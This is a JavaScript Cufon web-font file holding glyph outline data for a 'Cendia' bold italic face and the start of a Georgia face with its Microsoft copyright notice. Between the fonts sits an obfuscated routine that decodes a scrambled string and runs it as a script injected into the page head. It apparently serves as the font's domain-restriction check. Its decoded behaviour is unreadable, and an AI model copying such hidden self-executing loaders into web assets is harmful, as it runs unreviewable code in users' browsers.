k":{"d":10}},{"d":"159,-132v0,36,-73,57,-108,62v-1,29,8,50,36,50v19,0,36,-17,49,-30r8,10v-19,23,-41,43,-72,43v-26,0,-61,-14,-61,-63v0,-48,41,-102,104,-102v19,0,44,8,44,30xm121,-135v0,-9,-8,-13,-17,-13v-32,0,-47,35,-52,66v30,-5,69,-19,69,-53xm111,-186r-15,0r-49,-44r38,0","w":171,"k":{"\u00ea":6,"T":14}},{"d":"85,-166r-27,155v-11,63,-58,96,-75,96v-8,0,-12,-6,-12,-12v-3,-17,30,-8,37,-20r35,-191v-4,-6,-12,-9,-21,-10r0,-11xm91,-215v0,23,-44,30,-43,3v1,-21,41,-26,43,-3","w":102,"k":{"e":7}},{"d":"76,-166r-24,139v0,4,1,8,6,8v14,0,22,-37,33,-16v-9,13,-28,38,-55,38v-23,1,-24,-21,-20,-42r17,-96v-5,-6,-15,-8,-24,-10r0,-12xm84,-215v1,23,-42,30,-44,5v-1,-24,41,-29,44,-5","w":95,"k":{"f":17}},{"d":"63,-213v0,25,-30,50,-51,69r-8,-7v8,-9,21,-22,27,-33v-18,-10,-20,-48,8,-49v14,0,24,8,24,20xm123,-213v0,25,-30,50,-51,69r-8,-7v8,-9,21,-22,27,-33v-18,-10,-20,-48,8,-49v14,0,24,8,24,20","w":140},{"d":"95,93r-6,9v-36,5,-73,-5,-65,-51v4,-19,20,-79,22,-88v5,-32,-23,-31,-46,-32r2,-13v23,-1,51,-1,57,-33v1,-9,6,-69,10,-88v8,-46,49,-56,83,-51r2,9v-24,1,-39,5,-45,40v-10,57,4,134,-61,128r0,2v73,0,21,80,15,128v-5,35,8,39,32,40","w":129},{"d":"159,-132v0,36,-73,57,-108,62v-1,29,8,50,36,50v19,0,36,-17,49,-30r8,10v-19,23,-41,43,-72,43v-26,0,-61,-14,-61,-63v0,-48,41,-102,104,-102v19,0,44,8,44,30xm121,-135v0,-9,-8,-13,-17,-13v-32,0,-47,35,-52,66v30,-5,69,-19,69,-53xm162,-217v0,19,-32,21,-33,2v0,-19,32,-21,33,-2xm104,-217v0,19,-32,22,-32,2v0,-19,32,-22,32,-2","w":171,"k":{"W":-14}},{"d":"124,-219v-36,6,-34,55,-42,89r52,0r-4,18r-52,0v0,35,-16,63,-36,77r3,4v13,-6,22,-15,37,-15v17,0,28,17,44,17v15,0,29,-18,35,-29r7,6v-7,22,-31,56,-58,56v-28,0,-31,-23,-57,-23v-17,0,-40,14,-52,19r-5,-10v29,-21,35,-61,41,-102r-33,0r4,-18r33,0v4,-60,34,-105,94,-102v16,0,45,4,45,23v0,19,-26,26,-37,13","w":159},{"d":"261,-218r-24,7v-26,94,1,210,-126,214v-46,2,-95,-27,-84,-90r22,-124r-22,-7r0,-12r86,0r0,12r-23,7r-23,139v0,33,18,52,54,52v98,0,72,-116,95,-191r-22,-7r0,-12r67,0r0,12xm193,-242v-22,2,-23,-16,-34,-25v-15,8,-19,27,-45,25r39,-46r17,0","w":246,"k":{"A":22}},{"d":"261,-218r-24,7v-26,94,1,210,-126,214v-46,2,-95,-27,-84,-90r22,-124r-22,-7r0,-12r86,0r0,12r-23,7r-23,139v0,33,18,52,54,52v98,0,72,-116,95,-191r-22,-7r0,-12r67,0r0,12xm168,-244r-14,0r-49,-43r38,0","w":246,"k":{"A":22}},{"d":"84,-130v37,4,56,-66,11,-67v-37,-4,-56,66,-11,67xm134,-209r33,-28r8,10r-33,28v14,25,5,53,-13,72r24,29r-13,10r-24,-29v-21,15,-51,17,-70,0r-34,29r-9,-10r34,-29v-14,-24,-6,-54,12,-72r-23,-28r12,-10r23,28v21,-15,53,-19,73,0","w":178},{"d":"182,-35v-9,13,-28,38,-56,38v-23,1,-24,-21,-20,-42r16,-88v0,-7,-4,-11,-13,-11v-12,0,-28,13,-42,25r-21,113r-38,0r25,-135v-5,-6,-15,-8,-24,-10r0,-12r67,-9r-6,36v15,-15,37,-32,61,-32v30,0,30,23,26,47r-15,89v0,4,2,7,6,7v15,0,23,-37,34,-16"},{"d":"112,-126v12,13,-15,44,-25,47v-16,0,-37,-16,-49,-16v-11,0,-15,10,-22,18v-13,-10,10,-41,21,-43v16,0,43,15,51,15v12,0,17,-12,24,-21","w":126},{"d":"200,3v-27,0,-49,-12,-49,-41v0,-38,31,-62,67,-62v26,0,49,12,49,41v0,37,-31,62,-67,62xm206,-230r-106,230r-20,0r106,-230r20,0xm75,-131v-27,0,-50,-12,-50,-41v0,-38,32,-62,68,-62v26,0,48,12,48,41v0,37,-30,62,-66,62xm204,-14v38,4,53,-67,10,-68v-39,-5,-53,67,-10,68xm78,-148v37,4,53,-66,11,-68v-39,-5,-54,67,-11,68","w":292},{"d":"75,3v-41,0,-64,-25,-64,-66v0,-53,49,-99,93,-99v40,0,63,21,63,63v0,54,-47,102,-92,102xm96,-145v-32,0,-42,60,-42,85v0,28,9,46,29,46v31,0,41,-62,41,-85v0,-28,-9,-46,-28,-46xm165,-230r-49,44r-15,0r26,-44r38,0","w":181,"k":{"\u00f2":6,"Y":18,"T":30}},{"d":"87,-239r-37,213v0,4,2,7,6,7v15,0,23,-37,34,-16v-9,13,-28,38,-56,38v-23,1,-24,-21,-20,-42r30,-169v-4,-7,-14,-9,-23,-11r0,-11","w":93},{"d":"174,-217v0,20,-24,26,-36,13r-20,-22v-28,1,-25,43,-32,67r46,0r-3,13r-45,0r-23,136v-10,62,-64,95,-76,95v-8,0,-12,-6,-12,-12v-2,-20,37,-7,40,-23r33,-196r-32,0r3,-13r32,-3v4,-47,21,-77,80,-78v16,0,45,4,45,23","w":114,"k":{"\u00f5":7,"\u00f6":7,"\u00f4":7,"\u00f2":7,"\u00f3":7,"\u00e5":14,"\u00e3":14,"\u00e4":14,"\u00e2":14,"\u00e0":14,"\u00e1":14,"u":12,"o":7,"i":15,"f":22,"e":8,"d":17,"c":9,"a":14}},{"d":"78,3v-32,0,-68,-13,-68,-52v0,-34,24,-55,54,-67v-14,-11,-28,-27,-28,-46v0,-42,44,-57,80,-57v27,0,60,10,60,43v0,28,-22,42,-47,50v22,12,40,29,40,56v0,50,-47,73,-91,73xm113,-135v35,-8,46,-67,0,-67v-24,0,-38,11,-38,31v0,18,25,30,38,36xm130,-59v0,-24,-32,-37,-50,-47v-41,13,-49,89,4,90v24,0,46,-17,46,-43","w":192},{"d":"144,-85r-51,0r-9,50r-22,0r9,-50r-46,0r3,-20r47,0r8,-49r22,0r-9,49r51,0","w":168},{"d":"147,32r-22,0r-131,-275r21,0","w":138},{"d":"123,-19r22,7r0,12r-88,0r0,-12r25,-7r16,-90r-57,-101v-8,-5,-21,-4,-18,-20r86,0r0,12r-16,4v3,37,25,53,36,82v22,-20,35,-48,54,-71r0,-12r-15,-3r0,-12r70,0r0,12r-17,5r-82,99","w":231,"k":{"\u00c1":40,"\u00c2":40,"\u00c3":40,"\u00c0":40,"\u00f8":40,"\u00e6":40,"\u00f5":40,"\u00f6":40,"\u00f4":40,"\u00f2":40,"\u00f3":40,"\u00e5":43,"\u00e3":43,"\u00e4":43,"\u00e2":43,"\u00e0":43,"\u00e1":43,"\u00c5":40,"\u00c4":40,"z":36,"y":18,"x":18,"w":18,"v":18,"u":18,"t":18,"s":40,"r":18,"q":40,"p":18,"o":40,"n":18,"m":18,"j":11,"i":11,"g":40,"f":18,"e":40,"d":40,"c":40,"a":43,"Z":13,"X":19,"S":13,"P":10,"M":23,"G":15,"E":13,"D":15,"B":21,"A":40,";":18,":":18,".":18,"-":40,",":18,"&":18}},{"d":"92,-152r-13,0r-21,-58r-30,58r-15,0r39,-78r17,0","w":113},{"d":"66,-21v57,0,45,-72,59,-119v-4,-4,-7,-9,-14,-10v-37,0,-62,63,-62,99v0,15,6,30,17,30xm165,-155r-23,129v0,4,2,7,6,7v9,0,20,-19,24,-24r10,8v-9,13,-28,38,-56,38v-20,1,-24,-15,-21,-34v-14,16,-32,34,-52,34v-21,0,-42,-12,-42,-45v0,-48,46,-120,97,-120v30,0,46,4,57,7xm113,-181v-15,0,-32,-8,-32,-26v0,-23,21,-36,42,-36v16,0,32,7,32,25v0,22,-22,37,-42,37xm137,-217v0,-10,-7,-14,-16,-14v-14,0,-22,9,-22,23v0,10,7,14,16,14v14,0,22,-9,22,-23","k":{"T":14}},{"d":"224,-230r-5,51r-23,0r-7,-25v-12,-6,-39,-15,-49,0r-33,184r26,8r0,12r-95,0r0,-12r29,-8r32,-184v-8,-16,-36,-4,-49,0r-17,25r-22,0r13,-51r200,0","w":216,"k":{"\u00d2":12,"\u00d4":12,"\u00d3":12,"\u00c1":36,"\u00c2":36,"\u00d5":12,"\u00c3":36,"\u00c0":36,"\u00f8":40,"\u00e6":40,"\u00c6":63,"\u00f5":30,"\u00f6":30,"\u00f4":30,"\u00f2":30,"\u00f3":30,"\u00ef":11,"\u00ee":11,"\u00ec":11,"\u00ed":15,"\u00eb":40,"\u00ea":40,"\u00e8":40,"\u00e9":40,"\u00e5":40,"\u00e3":40,"\u00e4":40,"\u00e2":40,"\u00e0":40,"\u00e1":40,"\u00d6":12,"\u00c5":36,"\u00c4":36,"z":25,"y":25,"x":25,"w":25,"v":25,"u":25,"t":7,"s":40,"r":18,"q":25,"p":25,"o":40,"n":25,"m":25,"i":15,"g":40,"f":11,"e":40,"d":40,"c":40,"a":40,"Y":-15,"W":-12,"U":-12,"O":12,"H":10,"G":14,"E":13,"A":36,".":25,",":25,"&":18}},{"d":"192,-54r-16,54r-170,0r0,-12r24,-7r34,-193r-22,-6r0,-12r88,0r0,12r-25,6r-33,186v12,18,52,6,71,1r27,-29r22,0","w":186,"k":{"Y":17,"T":21,"A":10}},{"d":"159,-129v17,-14,38,-34,63,-33v30,0,30,23,26,47r-15,89v0,4,2,7,6,7v15,0,23,-37,34,-16v-9,13,-29,38,-56,38v-23,1,-24,-21,-20,-42r15,-87v-10,-27,-37,-1,-55,13r-20,113r-37,0r22,-127v0,-7,-4,-11,-13,-11v-12,0,-28,13,-42,25r-21,113r-38,0r25,-135v-5,-6,-15,-8,-24,-10r0,-12r67,-9r-6,36v15,-15,37,-32,61,-32v24,0,29,13,28,33","w":276},{"d":"75,3v-41,0,-64,-25,-64,-66v0,-53,49,-99,93,-99v40,0,63,21,63,63v0,54,-47,102,-92,102xm96,-145v-32,0,-42,60,-42,85v0,28,9,46,29,46v31,0,41,-62,41,-85v0,-28,-9,-46,-28,-46xm162,-217v0,19,-32,21,-33,2v0,-19,32,-21,33,-2xm104,-217v0,19,-32,22,-32,2v0,-19,32,-22,32,-2","w":181,"k":{"\u00f5":6,"Y":18,"T":30}},{"d":"261,-218r-24,7v-26,94,1,210,-126,214v-46,2,-95,-27,-84,-90r22,-124r-22,-7r0,-12r86,0r0,12r-23,7r-23,139v0,33,18,52,54,52v98,0,72,-116,95,-191r-22,-7r0,-12r67,0r0,12","w":246,"k":{"\u00c1":22,"\u00c2":22,"\u00c3":22,"\u00c0":22,"\u00c5":22,"\u00c4":22,"R":12,"N":7,"M":10,"D":11,"B":4,"A":22}},{"d":"141,-254r-2,11r-31,0r-59,333r32,0r-2,12r-70,0r62,-356r70,0","w":130},{"d":"165,28r-6,23r-149,0r7,-23r148,0","w":172},{"d":"180,-35v-9,13,-28,38,-56,38v-23,1,-24,-21,-20,-42r16,-88v0,-7,-4,-11,-13,-11v-12,0,-28,12,-42,24r-20,114r-38,0r37,-208v-5,-7,-14,-9,-24,-11r0,-11r67,-9r-19,109v15,-15,37,-32,61,-32v30,0,30,23,26,47r-15,89v0,4,2,7,6,7v15,0,23,-37,34,-16","w":183,"k":{"f":9}},{"d":"127,-230r0,12r-24,7r-34,192r22,7r0,12r-87,0r0,-12r24,-7r34,-192r-22,-7r0,-12r87,0xm125,-242v-22,2,-23,-17,-35,-25v-15,8,-19,27,-44,25r39,-46r17,0","w":120},{"d":"167,-36r-14,36r-147,0v-3,-20,15,-19,25,-26v35,-23,89,-55,89,-95v0,-15,-8,-24,-25,-24v-13,10,-19,27,-40,28v-12,0,-20,-6,-20,-18v0,-26,50,-27,69,-27v26,0,59,15,59,43v0,45,-70,77,-101,91","w":172},{"d":"204,-218r-155,200v35,1,70,0,96,-8r20,-21r23,0r-17,47r-175,0r0,-12r156,-199v-31,-1,-57,2,-81,8r-17,20r-21,0r10,-47r161,0r0,12","w":195,"k":{"\u00c1":11,"\u00c2":11,"\u00c3":11,"\u00c0":11,"\u00f5":7,"\u00f6":7,"\u00f4":7,"\u00f2":7,"\u00f3":7,"\u00e5":7,"\u00e3":7,"\u00e4":7,"\u00e2":7,"\u00e0":7,"\u00e1":7,"\u00c5":11,"\u00c4":11,"o":7,"a":7,"A":11}},{"d":"166,-23r-5,23r-29,0r-11,61r-39,8r12,-69r-93,0r1,-12r127,-147r32,0r-25,137xm114,-117r-79,95r63,0","w":172},{"d":"238,-218r-17,5r-83,87r65,107r17,7r0,12r-90,0r0,-12r17,-5r0,-14r-39,-67r-59,67r0,15r17,4r0,12r-77,0r0,-12r18,-7r91,-94r-57,-97v-8,-5,-21,-4,-18,-20r86,0r0,12r-16,4v2,34,25,47,35,73r55,-62r0,-12r-15,-3r0,-12r70,0r0,12","w":231,"k":{"\u00c6":14,"\u00e5":18,"\u00e3":18,"\u00e4":18,"\u00e2":18,"\u00e0":18,"\u00e1":18,"y":18,"w":18,"v":18,"a":18,"C":17,"-":18}},{"d":"216,0r-80,0r0,-12r17,-7v1,-24,-5,-41,-8,-61r-85,0v-7,21,-24,32,-23,61v7,4,17,5,14,19r-65,0r0,-12r19,-7r108,-209r48,-6r39,215v8,4,19,4,16,19xm143,-98r-19,-111r-55,111r74,0xm175,-242v-22,2,-23,-16,-34,-25v-15,8,-19,27,-45,25r39,-46r17,0","w":225,"k":{"T":11,"G":-6}},{"d":"193,-19v8,4,18,5,15,19r-52,0r-60,-125v41,5,66,-8,64,-51v0,-30,-25,-38,-57,-36r-34,193r25,7r0,12r-90,0r0,-12r24,-7r34,-193v-8,-4,-22,-2,-19,-18v70,2,160,-15,160,54v0,36,-30,59,-60,63","w":219,"k":{"U":-12,"-":18}},{"d":"75,3v-41,0,-64,-25,-64,-66v0,-53,49,-99,93,-99v40,0,63,21,63,63v0,54,-47,102,-92,102xm96,-145v-32,0,-42,60,-42,85v0,28,9,46,29,46v31,0,41,-62,41,-85v0,-28,-9,-46,-28,-46","w":181,"k":{"\u00f3":6,"o":6,"Y":18,"T":30}},{"d":"133,-139v0,18,-28,23,-33,7r-12,-18v-15,0,-30,8,-30,25v0,23,67,36,67,76v0,36,-40,52,-72,52v-15,0,-57,-5,-57,-26v0,-18,24,-22,34,-7r13,19v19,0,41,-8,41,-31v0,-28,-65,-40,-65,-74v0,-30,27,-46,66,-46v26,0,48,6,48,23","w":144,"k":{"t":-5,"s":9}},{"d":"350,-218r-19,7r-121,211r-30,0r-23,-113r-62,113r-29,0r-45,-211v-8,-4,-19,-4,-16,-19r80,0r0,12r-17,7v4,64,21,113,30,172r53,-101r-15,-71v-8,-4,-19,-4,-16,-19r80,0r0,12r-17,7v4,63,21,113,29,172r86,-156r0,-16v-7,-4,-17,-5,-14,-19r66,0r0,12","w":342,"k":{"\u00c1":40,"\u00c2":40,"\u00c3":40,"\u00c0":40,"\u00e6":40,"\u00c6":66,"\u00f5":36,"\u00f6":36,"\u00f4":36,"\u00f2":36,"\u00f3":36,"\u00eb":40,"\u00ea":40,"\u00e8":36,"\u00e9":40,"\u00e5":40,"\u00e3":40,"\u00e4":40,"\u00e2":40,"\u00e0":40,"\u00e1":40,"\u00c5":40,"\u00c4":40,"z":22,"y":22,"x":18,"w":14,"v":18,"u":18,"t":18,"s":40,"r":18,"q":40,"p":18,"o":36,"n":18,"m":18,"j":11,"i":11,"g":36,"f":18,"e":40,"d":40,"c":40,"a":40,"O":11,"L":17,"K":14,"I":17,"F":11,"E":17,"A":45,";":18,":":18,".":18,",":18,"&":27}}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-240-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("4tUk`&*8,gQT4u:3L&6|vtvQO2*kU&QTO2J|,gA1UiMSZl80Oqxf=tJ0Oqxf=tZ|Ziok=7m0U:UQOqxf=tiKOqxf=tUKA6ok=7m)w6ok=7mP*kok=7m&*iok=7m&Zb6JJkok=7mKwiok=7m:=:ok=PJP*OoaL(CfU7=@AOJaL(CfZPU)L2aNZ:ok=7m:=bKYOqxf=t=2Oqxf=ti&Oqxf=tZ8Oqxf=tIW4:ok=7mP=iok=7m&Z:ok=7mPZ(@2Oqxf=ti)Oqxf=tIoOqxf=t60Oqxf=tvbR:ok=7mP*6ok=7m0=iok=7m&U:=KOqxf=tpoOqxf=tx8Oqxf=tvWOqxf=t*)Oqxf=t=fOqxf=t6Pwkok=7mKU6ok=7m)ZiCmu7I6tqvJ4#=*w_pA%(xigOZU,`aLRj>K0P):&1@?y;SNT{fo|l8k2bWYG3MQ^+ok=7m0*I?7_6ok=7=bUiok=7m0Ziok=7mPZ86aL(CfU7JaL(CfZl:aL(CfUP>YOqxf=txYOqxf=tZoOqxf=tAPx6ok=7mK*kok=7m:*:ok=7m&wOp^OxLCOqxf=tp2Oqxf=tvf=7a&Oqxf=t6:A0*aL(CfUgx)Oqxf=txo*iok=7m)U&maL(CfZgIl,kok=7mPwqU*xxNaL(CfUg*aL(CfZ2UP4xvS_bmaL(CfZ2J_Oqxf=t=k%7kaL(CfZ(Co#&iaL(CfZl*wOqxf=tp8Oqxf=txbv6ok=7m:=6f{Oqxf=tpkLiok=7m:wt??OuJ3Oqxf=ti0Oqxf=tIlOqxf=tA0Oqxf=tpYOqxf=tI8`1W:Oqxf=tZl`tZW4koagiYaL(CfU(ix(tkaL(CfUPUigkQ@Oqxf=t*:=:@8g6ok=7mP=:J{aka0#1*f`t:84uv04%o?_(CSa7k0#1CS`7kf#&o:`&L8,uo1_gvTU0Y1`q:f,q=QRb83,gZ@Z0Y{,l8{O0>+w1LbLkfT4(M@_l@T4kfT,gA:OuY),bfT4kfTLtilLt:)UifTUtNM#0Na#&:)UOm|,gY8OuY),bfT4kfTLtilLt:)UOm|,gY8OuY),|))#2)TLtilLuKS`2*KLt:{`0Y@`b*8`&6NU%)?U&Q|47N?_tf34|N?4gL`ZkN?Oi8Qa6N?OO8?4u)>")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":185,"face":{"font-family":"Cendia","font-weight":700,"font-style":"italic","font-stretch":"normal","units-per-em":"360","panose-1":"2 0 8 0 9 0 0 9 0 3","ascent":"288","descent":"-72","x-height":"3","bbox":"-30 -308 350 114","underline-thickness":"7.2","underline-position":"-28.8","slope":"-11","stemh":"7","stemv":"38","unicode-range":"U+0020-U+00FF"}}));
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * � 2006 Microsoft Corporation. All Rights Reserved.
 * 
 * Trademark:
 * Georgia is either a registered trademark or a trademark of Microsoft
 * Corporation in the United States and/or other countries.
 * 
 * Manufacturer:
 * Carter & Cone
 * 
 * Designer:
 * Matthew Carter
 * 
 * License information:
 * http://www.microsoft.com/typography/fonts/
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"130,-236v63,50,76,241,-36,241v-53,0,-78,-37,-82,-90v-6,-73,88,-117,129,-64v-3,-30,-17,-57,-30,-77r-41,25r-9,-14r40,-23v-8,-11,-19,-18,-29,-26r9,-10v9,6,29,18,37,26r36,-21r9,14xm95,-8v64,0,64,-151,1,-151v-37,0,-46,33,-47,71v0,45,10,80,46,80","w":191},{"d":"128,-261v12,0,20,10,21,21v0,11,-9,22,-21,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm52,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-21,-11,-21,-22v1,-11,9,-21,21,-21","w":180},{"d":"110,-272v32,-3,44,35,15,40v-16,-1,-22,-16,-29,-26v-26,5,-24,48,-25,85r45,0r0,17r-45,0r0,125v-1,17,17,19,33,19r0,12r-91,0r0,-12v15,1,25,-3,25,-18r0,-126r-34,0r0,-17r34,0v-4,-55,25,-95,72,-99","w":117},{"d":"13,-89v-4,-74,84,-112,137,-71v8,-8,9,-27,25,-21v-5,71,-2,149,-3,225v0,18,15,21,31,22r0,12r-94,0r0,-12v16,-1,31,-2,30,-19v-1,-21,2,-45,-1,-64v-13,11,-25,23,-49,22v-50,-3,-73,-40,-76,-94xm49,-85v0,58,55,93,90,53r0,-104v-7,-15,-19,-29,-41,-29v-33,0,-49,39,-49,80","w":201},{"d":"18,-12v14,-2,33,-3,33,-21r0,-180v1,-19,-18,-22,-33,-24r0,-12r103,0r0,12v-15,2,-33,2,-33,22r0,86r4,0v30,-29,71,-58,85,-99v-3,-7,-15,-9,-26,-9r0,-12r94,0v5,22,-31,10,-41,27r-77,82r81,99v13,15,26,27,51,29r0,12r-70,0v-28,-42,-62,-85,-96,-122r-5,0r0,87v-1,18,17,21,33,23r0,12r-103,0r0,-12","w":249},{"d":"155,-202r-8,5r-49,-48r-48,48r-9,-5v16,-22,30,-47,48,-67v7,-4,22,-2,24,5xm98,-178v50,-1,86,38,84,90v-2,55,-31,93,-87,93v-53,0,-82,-37,-83,-91v-1,-52,35,-92,86,-92xm98,-8v63,0,67,-157,0,-157v-38,0,-48,36,-49,76v0,43,10,81,49,81","w":194},{"d":"43,-135v1,-20,-22,-23,-39,-26r0,-11v23,1,52,-6,72,-1v-6,100,29,242,-71,251v-32,3,-44,-37,-15,-40v17,-2,22,16,28,25v25,-4,25,-33,25,-68r0,-130xm56,-266v14,0,22,11,22,22v1,13,-9,25,-22,25v-12,0,-23,-12,-23,-23v0,-12,10,-24,23,-24","w":105},{"d":"105,-15v26,0,37,-12,49,-33r13,7v-14,25,-37,46,-72,46v-55,0,-82,-37,-82,-93v0,-51,28,-90,79,-90v51,0,72,33,70,86r-114,0v0,44,14,77,57,77xm128,-107v-1,-29,-6,-58,-36,-58v-29,1,-43,26,-44,58r80,0","w":174},{"d":"175,41v39,0,66,-10,88,-29r6,9v-23,20,-54,36,-96,34v-85,-3,-143,-50,-143,-139v0,-94,62,-157,158,-157v74,0,115,43,118,115v1,52,-34,102,-83,102v-22,0,-34,-13,-39,-29v-9,15,-21,27,-41,28v-28,-1,-42,-18,-40,-48v3,-49,32,-91,82,-95v16,-2,23,11,28,22r7,-20r26,0v-11,39,-29,72,-36,114v-2,11,6,17,16,17v41,-1,66,-45,64,-93v-3,-62,-38,-98,-103,-98v-80,0,-129,56,-129,139v0,78,38,128,117,128xm133,-70v0,53,46,27,55,-1r20,-59v-3,-16,-8,-27,-24,-28v-37,6,-51,49,-51,88","w":334},{"d":"75,-317v12,-23,51,-3,32,15v-16,15,-48,24,-72,37r-6,-7xm14,-12v14,-3,37,0,37,-21r0,-181v1,-19,-21,-20,-37,-23r0,-12r112,0r0,12v-18,1,-37,2,-37,22r0,180v-1,20,20,21,37,23r0,12r-112,0r0,-12","w":140},{"d":"169,-261v84,0,156,71,156,155v0,84,-72,155,-156,155v-84,0,-155,-72,-155,-155v0,-83,71,-155,155,-155xm169,34v75,0,139,-67,139,-140v0,-73,-65,-140,-139,-140v-73,0,-138,67,-138,140v0,73,64,140,138,140xm236,-150v0,29,-17,39,-42,46v25,23,34,63,77,68r0,11r-50,0v-21,-31,-33,-46,-55,-72r-18,0v3,26,-12,66,25,61r0,11r-77,0v-6,-20,24,-5,24,-25r0,-113v1,-13,-14,-13,-24,-16r0,-10v56,4,140,-17,140,39xm148,-110v55,16,79,-67,20,-66r-20,0r0,66","w":339},{"d":"17,-12v14,-2,34,-2,34,-21r0,-180v0,-18,-18,-22,-34,-24r0,-12r104,0r0,12v-15,2,-33,2,-33,22r0,77r117,0r0,-75v2,-19,-18,-22,-33,-24r0,-12r103,0r0,12v-15,2,-32,3,-32,22r0,180v-1,18,16,21,32,23r0,12r-103,0r0,-12v13,-2,33,-1,33,-21r0,-89r-117,0r0,87v-1,18,17,21,33,23r0,12r-104,0r0,-12","w":293},{"d":"124,-165v31,12,60,32,60,77v0,55,-38,101,-98,88r0,-14v48,11,62,-30,61,-75v0,-37,-16,-70,-54,-68v1,-6,-4,-18,6,-15v28,0,40,-19,41,-46v0,-23,-11,-41,-32,-41v-33,0,-41,34,-40,73r0,186r-58,0r0,-12v15,1,25,-3,25,-18v0,-101,-30,-242,75,-242v38,0,61,18,61,53v0,32,-21,48,-47,54","w":197},{"d":"118,-178v50,2,73,39,75,91v3,69,-67,112,-125,80r0,52v-1,19,18,20,35,21r0,12r-97,0r0,-12v16,0,30,-2,29,-19r0,-184v-2,-15,-12,-23,-29,-23r0,-12v20,1,45,-6,61,-1v1,6,-2,17,2,20v10,-12,29,-26,49,-25xm108,-8v67,0,65,-149,-2,-151v-19,-1,-30,10,-38,20r0,102v6,16,19,29,40,29","w":205},{"d":"283,-35v-2,19,18,21,34,23r0,12r-110,0r0,-12v17,-2,39,-2,39,-23r0,-182r-3,0r-85,213r-8,0r-81,-217r-3,0r0,149v-3,40,11,57,43,60r0,12r-101,0r0,-12v33,-2,41,-16,41,-58r0,-128v2,-28,-16,-37,-39,-39r0,-12r85,0r71,187r70,-187r81,0r0,12v-15,2,-34,2,-34,22r0,180","w":333},{"d":"232,-282r-233,0r0,-18r233,0r0,18"},{"d":"247,-14v54,9,69,-28,82,-59r12,0r-5,73r-205,0r0,-12v16,-2,36,-3,36,-22r0,-72r-85,0v-13,24,-27,44,-37,76v2,13,14,16,30,18r0,12r-92,0r0,-12v21,-2,35,-15,44,-31r108,-190v-6,-2,-21,-5,-30,-4r0,-12r217,0r0,60r-13,0v-7,-26,-27,-53,-67,-47r-38,0r0,100v41,4,67,-5,67,-41r14,0r0,97r-14,0v0,-37,-25,-46,-67,-42v4,48,-19,120,43,108xm167,-121r0,-113r-14,0r-62,113r76,0","w":349},{"d":"133,-317v12,-23,51,-3,32,15v-16,15,-49,24,-73,37r-5,-7xm131,-14v54,9,72,-26,83,-59r13,0r-5,73r-207,0r0,-12v17,-1,36,-3,36,-22r0,-179v2,-20,-20,-22,-36,-24r0,-12r193,0r0,60r-13,0v-7,-26,-28,-53,-68,-47r-39,0r0,100v42,4,69,-4,69,-41r13,0r0,97r-13,0v-1,-36,-26,-47,-69,-42v4,48,-19,120,43,108","w":235},{"d":"148,-77v0,27,-12,70,29,63r0,11v-24,13,-57,7,-62,-19v-20,35,-101,38,-101,-17v0,-55,68,-51,101,-72v1,-30,-3,-54,-33,-54v-9,0,-21,4,-25,8v5,16,6,39,-17,39v-12,0,-17,-10,-18,-20v5,-26,32,-38,62,-40v61,-5,64,39,64,101xm49,-43v-1,39,53,31,65,8r1,-61v-30,11,-64,15,-66,53xm125,-261v12,0,20,10,21,21v0,11,-9,22,-21,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm49,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-21,-11,-21,-22v1,-11,9,-21,21,-21","w":181},{"d":"148,-77v0,27,-12,70,29,63r0,11v-24,13,-57,7,-62,-19v-20,35,-101,38,-101,-17v0,-55,68,-51,101,-72v1,-30,-3,-54,-33,-54v-9,0,-21,4,-25,8v5,16,6,39,-17,39v-12,0,-17,-10,-18,-20v5,-26,32,-38,62,-40v61,-5,64,39,64,101xm49,-43v-1,39,53,31,65,8r1,-61v-30,11,-64,15,-66,53xm93,-255v7,-25,50,-12,33,9v-16,20,-42,34,-62,51r-7,-6","w":181},{"d":"123,54r-93,0r0,-321r93,0r0,16r-62,0r0,289r62,0r0,16","w":135},{"d":"177,-224v-2,-13,-20,-11,-33,-13r0,-12r87,0r0,12v-36,5,-47,39,-63,64v-23,37,-40,68,-40,136v0,21,23,22,40,25r0,12r-117,0r0,-12v16,-2,42,-1,40,-23v-2,-33,4,-66,-12,-87v-29,-38,-32,-103,-87,-115r0,-12r107,0r0,12v-21,1,-40,1,-29,19r51,93v16,-28,47,-71,56,-99","w":221},{"d":"81,65v29,6,40,-28,10,-28v-4,0,-7,-1,-10,-1r0,-32v-42,-6,-69,-41,-68,-91v1,-53,30,-89,82,-91v31,-1,58,15,58,45v0,27,-43,30,-40,6r4,-29v-4,-8,-13,-9,-23,-9v-66,0,-60,150,7,150v27,0,39,-14,50,-33r12,8v-13,22,-37,44,-68,45r0,12v39,-6,54,42,19,55v-13,5,-30,7,-49,6r0,-13r16,0","w":163},{"d":"191,-271r-8,6r-49,-37r-49,37r-8,-6r47,-55v8,-4,23,-2,26,5xm134,-255v77,0,120,52,120,131v0,77,-44,130,-120,130v-76,0,-120,-52,-120,-130v0,-78,44,-131,120,-131xm134,-10v59,0,77,-52,77,-114v0,-63,-18,-116,-77,-116v-60,0,-77,54,-77,116v0,62,17,114,77,114","w":267},{"d":"86,-255v7,-25,50,-12,33,9v-16,20,-42,34,-62,51r-7,-6","w":180},{"d":"98,-178v50,-1,86,38,84,90v-2,55,-31,93,-87,93v-53,0,-82,-37,-83,-91v-1,-52,35,-92,86,-92xm98,-8v63,0,67,-157,0,-157v-38,0,-48,36,-49,76v0,43,10,81,49,81xm136,-261v12,0,20,10,21,21v0,11,-9,22,-21,22v-12,0,-21,-10,-21,-22v0,-12,9,-21,21,-21xm60,-261v12,0,21,9,21,21v0,12,-9,22,-21,22v-12,0,-21,-11,-21,-22v1,-11,